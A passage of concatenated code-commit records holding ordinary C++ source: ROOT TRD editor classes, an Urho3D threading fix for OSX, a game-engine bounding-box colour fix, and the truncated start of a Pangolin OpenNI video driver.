const\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/ TRDHitsEditor \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nTRDHitsEditor::TRDHitsEditor(const TGWindow* p, Int_t width, Int_t height, UInt_t options, Pixel_t back) : TGedFrame(p, width, height, options, back)\n{\n\tMakeTitle(\"TRD Hits\");\n\n}\n\nTRDHitsEditor::~TRDHitsEditor()\n{}\n\nvoid TRDHitsEditor::SetModel(TObject* obj)\n{\n\tfM = dynamic_cast<TRDHits*>(obj);\n\n\/\/ \tFloat_t x, y, z;\n\/\/ \tfor(int ihit=0; ihit<fM->GetN(); ihit++){\n\/\/ \t\tfM->GetPoint(ihit, x, y, z);\n\/\/ \t\tprintf(\"%3d : x=%6.3f y=%6.3f z=%6.3f\\n\", ihit, x, y, z);\n\/\/ \t}\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/ TRDDigitsEditor \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nTRDDigitsEditor::TRDDigitsEditor(const TGWindow* p, Int_t width, Int_t height, UInt_t options, Pixel_t back) : TGedFrame(p, width, height, options, back)\n{\n\tMakeTitle(\"TRD Digits\");\n\n}\n\nTRDDigitsEditor::~TRDDigitsEditor()\n{}\n\nvoid TRDDigitsEditor::SetModel(TObject* obj)\n{\n\tfM = dynamic_cast<TRDDigits*>(obj);\n\tfM->fParent->SpawnEditor();\n\t\n\/\/ \tprintf(\"Chamber %d\", fM->fParent->GetID());\n\/\/ \tfor (Int_t row = 0; row < fM->fParent->GetRowMax(); row++)\n\/\/ \t\tfor (Int_t col = 0; col < fM->fParent->GetColMax(); col++)\n\/\/ \t\t\tfor (Int_t time = 0; time < fM->fParent->GetTimeMax(); time++) {\n\/\/ \t\t\t\tprintf(\"\\tA(%d %d %d) = %d\\n\", row, col, time, fM->fData.GetDataUnchecked(row, col, time));\n\/\/ \t\t\t}\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/\r\n\/\/ Urho3D Engine\r\n\/\/ Copyright (c) 2008-2011 Lasse rni\r\n\/\/\r\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\r\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\r\n\/\/ in the Software without restriction, including without limitation the rights\r\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\r\n\/\/ copies of the Software, and to permit persons to whom the Software is\r\n\/\/ furnished to do so, subject to the following conditions:\r\n\/\/\r\n\/\/ The above copyright notice and this permission notice shall be included in\r\n\/\/ all copies or substantial portions of the Software.\r\n\/\/\r\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\r\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\r\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\r\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\r\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\r\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\r\n\/\/ THE SOFTWARE.\r\n\/\/\r\n\r\n#include \"Precompiled.h\"\r\n#include \"Thread.h\"\r\n\r\n#ifdef WIN32\r\n#include <windows.h>\r\n#else\r\n#include <pthread.h>\r\n#endif\r\n\r\n#include \"DebugNew.h\"\r\n\r\n#ifdef WIN32\r\nDWORD WINAPI ThreadFunctionStatic(void* data)\r\n{\r\n Thread* thread = static_cast<Thread*>(data);\r\n thread->ThreadFunction();\r\n return 0;\r\n}\r\n#else\r\nvoid* ThreadFunctionStatic(void* data)\r\n{\r\n Thread* thread = static_cast<Thread*>(data);\r\n thread->ThreadFunction();\r\n pthread_exit((void*)0);\r\n return 0;\r\n}\r\n#endif\r\n\r\nThread::Thread() :\r\n handle_(0),\r\n shouldRun_(false)\r\n{\r\n}\r\n\r\nThread::~Thread()\r\n{\r\n Stop();\r\n}\r\n\r\nbool Thread::Start()\r\n{\r\n \/\/ Check if already running\r\n if (handle_)\r\n return false;\r\n \r\n shouldRun_ = true;\r\n #ifdef WIN32\r\n handle_ = CreateThread(0, 0, ThreadFunctionStatic, this, 0, 0);\r\n #else\r\n handle_ = new pthread_t;\r\n pthread_attr_t type;\r\n pthread_attr_init(&type);\r\n pthread_attr_setdetachstate(&type, PTHREAD_CREATE_JOINABLE);\r\n pthread_create((pthread_t*)handle_, &type, ThreadFunctionStatic, this);\r\n #endif\r\n return handle_ != 0;\r\n}\r\n\r\nvoid Thread::Stop()\r\n{\r\n \/\/ Check if already stopped\r\n if (!handle_)\r\n return;\r\n \r\n shouldRun_ = false;\r\n #ifdef WIN32\r\n WaitForSingleObject((HANDLE)handle_, INFINITE);\r\n CloseHandle((HANDLE)handle_);\r\n #else\r\n pthread_t* thread = (pthread_t*)handle_;\r\n if (thread)\r\n pthread_join(*thread, 0);\r\n delete thread;\r\n #endif\r\n handle_ = 0;\r\n}\r\n\r\nvoid Thread::SetPriority(int priority)\r\n{\r\n #ifdef WIN32\r\n if (handle_)\r\n SetThreadPriority((HANDLE)handle_, priority);\r\n #else\r\n pthread_t* thread = (pthread_t*)handle_;\r\n if (thread)\r\n pthread_setschedprio(*thread, priority);\r\n #endif\r\n}\r\n<commit_msg>Fixed OSX build.<commit_after>\/\/\r\n\/\/ Urho3D Engine\r\n\/\/ Copyright (c) 2008-2011 Lasse rni\r\n\/\/\r\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\r\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\r\n\/\/ in the Software without restriction, including without limitation the rights\r\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\r\n\/\/ copies of the Software, and to permit persons to whom the Software is\r\n\/\/ furnished to do so, subject to the following conditions:\r\n\/\/\r\n\/\/ The above copyright notice and this permission notice shall be included in\r\n\/\/ all copies or substantial portions of the Software.\r\n\/\/\r\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\r\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\r\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\r\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\r\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\r\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\r\n\/\/ THE SOFTWARE.\r\n\/\/\r\n\r\n#include \"Precompiled.h\"\r\n#include \"Thread.h\"\r\n\r\n#ifdef WIN32\r\n#include <windows.h>\r\n#else\r\n#include <pthread.h>\r\n#endif\r\n\r\n#include \"DebugNew.h\"\r\n\r\n#ifdef WIN32\r\nDWORD WINAPI ThreadFunctionStatic(void* data)\r\n{\r\n Thread* thread = static_cast<Thread*>(data);\r\n thread->ThreadFunction();\r\n return 0;\r\n}\r\n#else\r\nvoid* ThreadFunctionStatic(void* data)\r\n{\r\n Thread* thread = static_cast<Thread*>(data);\r\n thread->ThreadFunction();\r\n pthread_exit((void*)0);\r\n return 0;\r\n}\r\n#endif\r\n\r\nThread::Thread() :\r\n handle_(0),\r\n shouldRun_(false)\r\n{\r\n}\r\n\r\nThread::~Thread()\r\n{\r\n Stop();\r\n}\r\n\r\nbool Thread::Start()\r\n{\r\n \/\/ Check if already running\r\n if (handle_)\r\n return false;\r\n \r\n shouldRun_ = true;\r\n #ifdef WIN32\r\n handle_ = CreateThread(0, 0, ThreadFunctionStatic, this, 0, 0);\r\n #else\r\n handle_ = new pthread_t;\r\n pthread_attr_t type;\r\n pthread_attr_init(&type);\r\n pthread_attr_setdetachstate(&type, PTHREAD_CREATE_JOINABLE);\r\n pthread_create((pthread_t*)handle_, &type, ThreadFunctionStatic, this);\r\n #endif\r\n return handle_ != 0;\r\n}\r\n\r\nvoid Thread::Stop()\r\n{\r\n \/\/ Check if already stopped\r\n if (!handle_)\r\n return;\r\n \r\n shouldRun_ = false;\r\n #ifdef WIN32\r\n WaitForSingleObject((HANDLE)handle_, INFINITE);\r\n CloseHandle((HANDLE)handle_);\r\n #else\r\n pthread_t* thread = (pthread_t*)handle_;\r\n if (thread)\r\n pthread_join(*thread, 0);\r\n delete thread;\r\n #endif\r\n handle_ = 0;\r\n}\r\n\r\nvoid Thread::SetPriority(int priority)\r\n{\r\n #ifdef WIN32\r\n if (handle_)\r\n SetThreadPriority((HANDLE)handle_, priority);\r\n #endif\r\n #ifdef __linux__\r\n pthread_t* thread = (pthread_t*)handle_;\r\n if (thread)\r\n pthread_setschedprio(*thread, priority);\r\n #endif\r\n}\r\n<|endoftext|>"} {"text":"<commit_before>#include \"GameObject.h\"\n#include \"BaseComponent.h\"\n#include \"Globals.h\"\n#include <GL\/glew.h>\n#include \"TransformComponent.h\"\n#include <MathGeoLib\/include\/Math\/float4x4.h>\n\nGameObject::GameObject()\n{\n\tBoundingBox.SetNegativeInfinity();\n}\n\nGameObject::~GameObject()\n{\n}\n\nvoid GameObject::SetParent(GameObject* new_parent)\n{\n\tif(_parent != nullptr)\n\t{\n\t\t_parent->RemoveChild(this);\n\t\tnew_parent->_childs.push_back(this);\n\t\t_parent = new_parent;\n\t}\n}\n\nGameObject* GameObject::GetParent() const\n{\n\treturn _parent;\n}\n\nconst std::vector<GameObject*>& GameObject::GetChilds() const\n{\n\treturn _childs;\n}\n\nvoid GameObject::AddChild(GameObject* child)\n{\n\tif (child != nullptr)\n\t{\n\t\tif(child->_parent != nullptr)\n\t\t\tchild->_parent->RemoveChild(this);\n\t\tchild->_parent = this;\n\t\t_childs.push_back(child);\n\t}\n}\n\nvoid GameObject::RemoveChild(const GameObject* child)\n{\n\tif(!_childs.empty())\n\t{\n\t\tfor (auto it = _childs.begin(); it != _childs.cend(); ++it)\n\t\t{\n\t\t\tif (*it == child)\n\t\t\t{\n\t\t\t\t_childs.erase(it);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n}\n\nconst std::list<BaseComponent*>& GameObject::GetComponents() const\n{\n\treturn _components;\n}\n\nvoid GameObject::AddComponent(BaseComponent* component)\n{\n\tif (component != nullptr)\n\t{\n\t\tcomponent->Parent = this;\n\t\t_components.push_back(component);\n\n\t\tif (component->Name == \"Transform\")\n\t\t\t_transform = static_cast<TransformComponent*>(component);\n\t}\n}\n\nBaseComponent* GameObject::GetComponentByName(const std::string& name) const\n{\n\tfor (BaseComponent* component : _components)\n\t{\n\t\tif (component->Name == name)\n\t\t\treturn component;\n\t}\n\n\treturn nullptr;\n}\n\nvoid GameObject::DeleteComponentByName(const std::string& name)\n{\n\tif(!_components.empty())\n\t{\n\t\tfor (auto it = _components.begin(); it != _components.cend(); ++it)\n\t\t{\n\t\t\tif ((*it)->Name == name)\n\t\t\t{\n\t\t\t\t_components.erase(it);\n\t\t\t\t(*it)->CleanUp();\n\t\t\t\tRELEASE(*it);\n\t\t\t}\n\t\t}\n\t}\n}\n\nvoid GameObject::DeleteComponent(BaseComponent* component)\n{\n\t_components.remove(component);\n}\n\nTransformComponent* GameObject::GetTransform() const\n{\n\treturn _transform;\n}\n\nvoid GameObject::DrawBoundingBox()\n{\n\tglPushMatrix();\n\n\tif (BoundingBox.IsFinite())\n\t{\n\t\tglColor3f(0.f, 255.f, 0.f);\n\t\tglLineWidth(3.f);\n\t\tglBegin(GL_LINES);\n\t\tvec points[8];\n\t\tBoundingBox.GetCornerPoints(points);\n\t\t\n\t\t\/\/ LEFT SIDE\n\t\tglVertex3fv(&points[0][0]);\n\t\tglVertex3fv(&points[1][0]);\n\n\t\tglVertex3fv(&points[0][0]);\n\t\tglVertex3fv(&points[2][0]);\n\n\t\tglVertex3fv(&points[2][0]);\n\t\tglVertex3fv(&points[3][0]);\n\n\t\tglVertex3fv(&points[3][0]);\n\t\tglVertex3fv(&points[1][0]);\n\n\t\t\/\/ BACK SIDE\n\t\tglVertex3fv(&points[0][0]);\n\t\tglVertex3fv(&points[4][0]);\n\n\t\tglVertex3fv(&points[2][0]);\n\t\tglVertex3fv(&points[6][0]);\n\n\t\tglVertex3fv(&points[4][0]);\n\t\tglVertex3fv(&points[6][0]);\n\n\t\t\/\/ RIGHT SIDE\n\t\tglVertex3fv(&points[6][0]);\n\t\tglVertex3fv(&points[7][0]);\n\n\t\tglVertex3fv(&points[4][0]);\n\t\tglVertex3fv(&points[5][0]);\n\n\t\tglVertex3fv(&points[7][0]);\n\t\tglVertex3fv(&points[5][0]);\n\n\t\t\/\/ FRONT SIDE\n\t\tglVertex3fv(&points[1][0]);\n\t\tglVertex3fv(&points[5][0]);\n\n\t\tglVertex3fv(&points[3][0]);\n\t\tglVertex3fv(&points[7][0]);\n\n\t\tglEnd();\n\t}\n\n\tglPopMatrix();\n}\n\nvoid GameObject::DrawHierachy()\n{\n\tGLboolean light = glIsEnabled(GL_LIGHTING);\n\tglDisable(GL_LIGHTING);\n\tglColor4f(0.f, 0.f, 1.f, 1.f);\n\n\tfloat4x4 transform = float4x4::identity;\n\tfor (GameObject* child : _childs)\n\t\tchild->DrawHierachy(transform);\n\n\tglColor4f(1.f, 1.f, 1.f, 1.f);\n\n\tif (light)\n\t\tglEnable(GL_LIGHTING);\n}\n\nvoid GameObject::DrawHierachy(const float4x4& transformMatrix)\n{\n\tfloat4x4 localMatrix = transformMatrix * _transform->GetTransformMatrix();\n\n\tif (_parent && _parent->_transform)\n\t{\n\t\tglBegin(GL_LINES);\n\t\tfloat3 parentPos = transformMatrix.Col3(3);\n\t\tglVertex3fv(reinterpret_cast<GLfloat*>(&parentPos));\n\t\tfloat3 position = localMatrix.Col3(3);\n\t\tglVertex3fv(reinterpret_cast<GLfloat*>(&position));\n\t\tglEnd();\n\t}\n\n\tfor (GameObject* child : _childs)\n\t\tchild->DrawHierachy(localMatrix);\n}\n\nvoid GameObject::Update()\n{\n\tglPushMatrix();\n\tglEnableClientState(GL_TEXTURE_COORD_ARRAY);\n\n\tfor (BaseComponent* baseComponent : _components)\n\t{\n\t\tif(baseComponent->Enabled)\n\t\t\tbaseComponent->Update();\n\t}\n\n\tglBindTexture(GL_TEXTURE_2D, 0);\n\n\tglDisableClientState(GL_TEXTURE_COORD_ARRAY);\n\n\tfor (GameObject* child : _childs)\n\t{\n\t\tchild->Update();\n\t}\n\n\tglEnd();\n\n\tglPopMatrix();\n}\n\nbool GameObject::CleanUp()\n{\n\tfor (BaseComponent* component : _components)\n\t{\n\t\tcomponent->CleanUp();\n\t\tRELEASE(component);\n\t}\n\treturn true;\n}\n\n<commit_msg>Fix bounding box color<commit_after>#include \"GameObject.h\"\n#include \"BaseComponent.h\"\n#include \"Globals.h\"\n#include <GL\/glew.h>\n#include \"TransformComponent.h\"\n#include <MathGeoLib\/include\/Math\/float4x4.h>\n\nGameObject::GameObject()\n{\n\tBoundingBox.SetNegativeInfinity();\n}\n\nGameObject::~GameObject()\n{\n}\n\nvoid GameObject::SetParent(GameObject* new_parent)\n{\n\tif(_parent != nullptr)\n\t{\n\t\t_parent->RemoveChild(this);\n\t\tnew_parent->_childs.push_back(this);\n\t\t_parent = new_parent;\n\t}\n}\n\nGameObject* GameObject::GetParent() const\n{\n\treturn _parent;\n}\n\nconst std::vector<GameObject*>& GameObject::GetChilds() const\n{\n\treturn _childs;\n}\n\nvoid GameObject::AddChild(GameObject* child)\n{\n\tif (child != nullptr)\n\t{\n\t\tif(child->_parent != nullptr)\n\t\t\tchild->_parent->RemoveChild(this);\n\t\tchild->_parent = this;\n\t\t_childs.push_back(child);\n\t}\n}\n\nvoid GameObject::RemoveChild(const GameObject* child)\n{\n\tif(!_childs.empty())\n\t{\n\t\tfor (auto it = _childs.begin(); it != _childs.cend(); ++it)\n\t\t{\n\t\t\tif (*it == child)\n\t\t\t{\n\t\t\t\t_childs.erase(it);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n}\n\nconst std::list<BaseComponent*>& GameObject::GetComponents() const\n{\n\treturn _components;\n}\n\nvoid GameObject::AddComponent(BaseComponent* component)\n{\n\tif (component != nullptr)\n\t{\n\t\tcomponent->Parent = this;\n\t\t_components.push_back(component);\n\n\t\tif (component->Name == \"Transform\")\n\t\t\t_transform = static_cast<TransformComponent*>(component);\n\t}\n}\n\nBaseComponent* GameObject::GetComponentByName(const std::string& name) const\n{\n\tfor (BaseComponent* component : _components)\n\t{\n\t\tif (component->Name == name)\n\t\t\treturn component;\n\t}\n\n\treturn nullptr;\n}\n\nvoid GameObject::DeleteComponentByName(const std::string& name)\n{\n\tif(!_components.empty())\n\t{\n\t\tfor (auto it = _components.begin(); it != _components.cend(); ++it)\n\t\t{\n\t\t\tif ((*it)->Name == name)\n\t\t\t{\n\t\t\t\t_components.erase(it);\n\t\t\t\t(*it)->CleanUp();\n\t\t\t\tRELEASE(*it);\n\t\t\t}\n\t\t}\n\t}\n}\n\nvoid GameObject::DeleteComponent(BaseComponent* component)\n{\n\t_components.remove(component);\n}\n\nTransformComponent* GameObject::GetTransform() const\n{\n\treturn _transform;\n}\n\nvoid GameObject::DrawBoundingBox()\n{\n\tglPushMatrix();\n\n\tGLboolean light = glIsEnabled(GL_LIGHTING);\n\tglDisable(GL_LIGHTING);\n\n\tif (BoundingBox.IsFinite())\n\t{\n\t\tglLineWidth(3.f);\n\t\tglBegin(GL_LINES);\n\t\tglColor3f(0.f, 1.f, 0.f);\n\t\tvec points[8];\n\t\tBoundingBox.GetCornerPoints(points);\n\t\t\n\t\t\/\/ LEFT SIDE\n\t\tglVertex3fv(&points[0][0]);\n\t\tglVertex3fv(&points[1][0]);\n\n\t\tglVertex3fv(&points[0][0]);\n\t\tglVertex3fv(&points[2][0]);\n\n\t\tglVertex3fv(&points[2][0]);\n\t\tglVertex3fv(&points[3][0]);\n\n\t\tglVertex3fv(&points[3][0]);\n\t\tglVertex3fv(&points[1][0]);\n\n\t\t\/\/ BACK SIDE\n\t\tglVertex3fv(&points[0][0]);\n\t\tglVertex3fv(&points[4][0]);\n\n\t\tglVertex3fv(&points[2][0]);\n\t\tglVertex3fv(&points[6][0]);\n\n\t\tglVertex3fv(&points[4][0]);\n\t\tglVertex3fv(&points[6][0]);\n\n\t\t\/\/ RIGHT SIDE\n\t\tglVertex3fv(&points[6][0]);\n\t\tglVertex3fv(&points[7][0]);\n\n\t\tglVertex3fv(&points[4][0]);\n\t\tglVertex3fv(&points[5][0]);\n\n\t\tglVertex3fv(&points[7][0]);\n\t\tglVertex3fv(&points[5][0]);\n\n\t\t\/\/ FRONT SIDE\n\t\tglVertex3fv(&points[1][0]);\n\t\tglVertex3fv(&points[5][0]);\n\n\t\tglVertex3fv(&points[3][0]);\n\t\tglVertex3fv(&points[7][0]);\n\n\t\tglEnd();\n\t}\n\n\tif (light)\n\t\tglEnable(GL_LIGHTING);\n\n\tglPopMatrix();\n}\n\nvoid GameObject::DrawHierachy()\n{\n\tGLboolean light = glIsEnabled(GL_LIGHTING);\n\tglDisable(GL_LIGHTING);\n\tglColor4f(0.f, 0.f, 1.f, 1.f);\n\n\tfloat4x4 transform = float4x4::identity;\n\tfor (GameObject* child : _childs)\n\t\tchild->DrawHierachy(transform);\n\n\tglColor4f(1.f, 1.f, 1.f, 1.f);\n\n\tif (light)\n\t\tglEnable(GL_LIGHTING);\n}\n\nvoid GameObject::DrawHierachy(const float4x4& transformMatrix)\n{\n\tfloat4x4 localMatrix = transformMatrix * _transform->GetTransformMatrix();\n\n\tif (_parent && _parent->_transform)\n\t{\n\t\tglBegin(GL_LINES);\n\t\tfloat3 parentPos = transformMatrix.Col3(3);\n\t\tglVertex3fv(reinterpret_cast<GLfloat*>(&parentPos));\n\t\tfloat3 position = localMatrix.Col3(3);\n\t\tglVertex3fv(reinterpret_cast<GLfloat*>(&position));\n\t\tglEnd();\n\t}\n\n\tfor (GameObject* child : _childs)\n\t\tchild->DrawHierachy(localMatrix);\n}\n\nvoid GameObject::Update()\n{\n\tglPushMatrix();\n\tglEnableClientState(GL_TEXTURE_COORD_ARRAY);\n\n\tfor (BaseComponent* baseComponent : _components)\n\t{\n\t\tif(baseComponent->Enabled)\n\t\t\tbaseComponent->Update();\n\t}\n\n\tglBindTexture(GL_TEXTURE_2D, 0);\n\n\tglDisableClientState(GL_TEXTURE_COORD_ARRAY);\n\n\tfor (GameObject* child : _childs)\n\t{\n\t\tchild->Update();\n\t}\n\n\tglEnd();\n\n\tglPopMatrix();\n}\n\nbool GameObject::CleanUp()\n{\n\tfor (BaseComponent* component : _components)\n\t{\n\t\tcomponent->CleanUp();\n\t\tRELEASE(component);\n\t}\n\treturn true;\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/* This file is part of the Pangolin Project.\n * http:\/\/github.com\/stevenlovegrove\/Pangolin\n *\n * Copyright (c) 2013 Steven Lovegrove\n *\n * Permission is hereby granted, free of charge, to any person\n * obtaining a copy of this software and associated documentation\n * files (the \"Software\"), to deal in the Software without\n * restriction, including without limitation the rights to use,\n * copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the\n * Software is furnished to do so, subject to the following\n * conditions:\n *\n * The above copyright notice and this permission notice shall be\n * included in all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\n * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT\n * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,\n * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\n * OTHER DEALINGS IN THE SOFTWARE.\n *\/\n\n#include <pangolin\/video\/drivers\/openni.h>\n#include <pangolin\/factory\/factory_registry.h>\n#include <pangolin\/video\/iostream_operators.h>\n\nnamespace pangolin\n{\n\nOpenNiVideo::OpenNiVideo(OpenNiSensorType s1, OpenNiSensorType s2, ImageDim dim, int fps)\n{\n sensor_type[0] = s1;\n sensor_type[1] = s2;\n\n XnStatus nRetVal = XN_STATUS_OK;\n nRetVal = context.Init();\n if (nRetVal != XN_STATUS_OK) {\n std::cerr << \"context.Init: \" << xnGetStatusString(nRetVal) << std::endl;\n }\n\n XnMapOutputMode mapMode;\n mapMode.nXRes = dim.x;\n mapMode.nYRes = dim.y;\n mapMode.nFPS = fps;\n\n sizeBytes = 0;\n\n bool use_depth = false;\n bool use_ir = false;\n bool use_rgb = false;\n bool depth_to_color = false;\n\n for(int i=0; i<2; ++i) {\n PixelFormat fmt;\n\n \/\/ Establish output pixel format for sensor streams\n switch( sensor_type[i] ) {\n case OpenNiDepth_1mm_Registered:\n case OpenNiDepth_1mm:\n case OpenNiIr:\n case OpenNiIrProj:\n fmt = PixelFormatFromString(\"GRAY16LE\");\n break;\n case OpenNiIr8bit:\n case OpenNiIr8bitProj:\n fmt = PixelFormatFromString(\"GRAY8\");\n break;\n case OpenNiRgb:\n fmt = PixelFormatFromString(\"RGB24\");\n break;\n default:\n continue;\n }\n\n switch( sensor_type[i] ) {\n case OpenNiDepth_1mm_Registered:\n depth_to_color = true;\n break;\n case OpenNiDepth_1mm:\n use_depth = true;\n break;\n case OpenNiIr:\n case OpenNiIr8bit:\n use_ir = true;\n break;\n case OpenNiIrProj:\n case OpenNiIr8bitProj:\n use_ir = true;\n use_depth = true;\n break;\n case OpenNiRgb:\n use_rgb = true;\n break;\n default:\n break;\n }\n\n const StreamInfo stream(fmt, mapMode.nXRes, mapMode.nYRes, (mapMode.nXRes * fmt.bpp) \/ 8, (unsigned char*)0 + sizeBytes);\n sizeBytes += stream.SizeBytes();\n streams.push_back(stream);\n }\n\n if( use_depth ) {\n nRetVal = depthNode.Create(context);\n if (nRetVal != XN_STATUS_OK) {\n throw VideoException( (std::string)\"Unable to create DepthNode: \" + xnGetStatusString(nRetVal) );\n }else{\n nRetVal = depthNode.SetMapOutputMode(mapMode);\n if (nRetVal != XN_STATUS_OK) {\n throw VideoException( (std::string)\"Invalid DepthNode mode: \" + xnGetStatusString(nRetVal) );\n }\n }\n }\n\n if( use_rgb ) {\n nRetVal = imageNode.Create(context);\n if (nRetVal != XN_STATUS_OK) {\n throw VideoException( (std::string)\"Unable to create ImageNode: \" + xnGetStatusString(nRetVal) );\n }else{\n nRetVal = imageNode.SetMapOutputMode(mapMode);\n if (nRetVal != XN_STATUS_OK) {\n throw VideoException( (std::string)\"Invalid ImageNode mode: \" + xnGetStatusString(nRetVal) );\n }\n }\n }\n\n if (depth_to_color && use_rgb) {\n \/\/Registration\n if( depthNode.IsCapabilitySupported(XN_CAPABILITY_ALTERNATIVE_VIEW_POINT) ) {\n nRetVal = depthNode.GetAlternativeViewPointCap().SetViewPoint( imageNode );\n if (nRetVal != XN_STATUS_OK) {\n std::cerr << \"depthNode.GetAlternativeViewPointCap().SetViewPoint(imageNode): \" << xnGetStatusString(nRetVal) << std::endl;\n }\n }\n\n \/\/ Frame Sync\n if (depthNode.IsCapabilitySupported(XN_CAPABILITY_FRAME_SYNC))\n {\n if (depthNode.GetFrameSyncCap().CanFrameSyncWith(imageNode))\n {\n nRetVal = depthNode.GetFrameSyncCap().FrameSyncWith(imageNode);\n if (nRetVal != XN_STATUS_OK) {\n std::cerr << \"depthNode.GetFrameSyncCap().FrameSyncWith(imageNode): \" << xnGetStatusString(nRetVal) << std::endl;\n }\n }\n }\n }\n\n if( use_ir ) {\n nRetVal = irNode.Create(context);\n if (nRetVal != XN_STATUS_OK) {\n throw VideoException( (std::string)\"Unable to create IrNode: \" + xnGetStatusString(nRetVal) );\n }else{\n nRetVal = irNode.SetMapOutputMode(mapMode);\n if (nRetVal != XN_STATUS_OK) {\n throw VideoException( (std::string)\"Invalid IrNode mode: \" + xnGetStatusString(nRetVal) );\n }\n }\n }\n\n Start();\n}\n\nOpenNiVideo::~OpenNiVideo()\n{\n context.Release();\n}\n\nsize_t OpenNiVideo::SizeBytes() const\n{\n return sizeBytes;\n}\n\nconst std::vector<StreamInfo>& OpenNiVideo::Streams() const\n{\n return streams;\n}\n\nvoid OpenNiVideo::Start()\n{\n \/\/ XnStatus nRetVal =\n context.StartGeneratingAll();\n}\n\nvoid OpenNiVideo::Stop()\n{\n context.StopGeneratingAll();\n}\n\nbool OpenNiVideo::GrabNext( unsigned char* image, bool \/*wait*\/ )\n{\n \/\/ XnStatus nRetVal = context.WaitAndUpdateAll();\n XnStatus nRetVal = context.WaitAnyUpdateAll();\n \/\/ nRetVal = context.WaitOneUpdateAll(imageNode);\n\n if (nRetVal != XN_STATUS_OK) {\n std::cerr << \"Failed updating data: \" << xnGetStatusString(nRetVal) << std::endl;\n return false;\n }else{\n unsigned char* out_img = image;\n\n for(int i=0; i<2; ++i) {\n switch (sensor_type[i]) {\n case OpenNiDepth_1mm:\n case OpenNiDepth_1mm_Registered:\n {\n const XnDepthPixel* pDepthMap = depthNode.GetDepthMap();\n memcpy(out_img,pDepthMap, streams[i].SizeBytes() );\n break;\n }\n case OpenNiIr:\n case OpenNiIrProj:\n {\n const XnIRPixel* pIrMap = irNode.GetIRMap();\n memcpy(out_img, pIrMap, streams[i].SizeBytes() );\n break;\n }\n case OpenNiIr8bit:\n case OpenNiIr8bitProj:\n {\n const XnIRPixel* pIr16Map = irNode.GetIRMap();\n\n \/\/ rescale from 16-bit (10 effective) to 8-bit\n xn::IRMetaData meta_data;\n irNode.GetMetaData(meta_data);\n int w = meta_data.XRes();\n int h = meta_data.YRes();\n\n \/\/ Copy to out_img with conversion\n XnUInt8* pIrMapScaled = (XnUInt8*)out_img;\n for (int v = 0; v < h; ++v)\n for (int u = 0; u < w; ++u) {\n int val = *pIr16Map >> 2; \/\/ 10bit to 8 bit\n pIrMapScaled[w * v + u] = val;\n pIr16Map++;\n }\n\n break;\n }\n case OpenNiRgb:\n {\n const XnUInt8* pImageMap = imageNode.GetImageMap();\n memcpy(out_img,pImageMap, streams[i].SizeBytes());\n break;\n }\n default:\n continue;\n break;\n }\n\n out_img += streams[i].SizeBytes();\n }\n\n return true;\n }\n}\n\nbool OpenNiVideo::GrabNewest( unsigned char* image, bool wait )\n{\n return 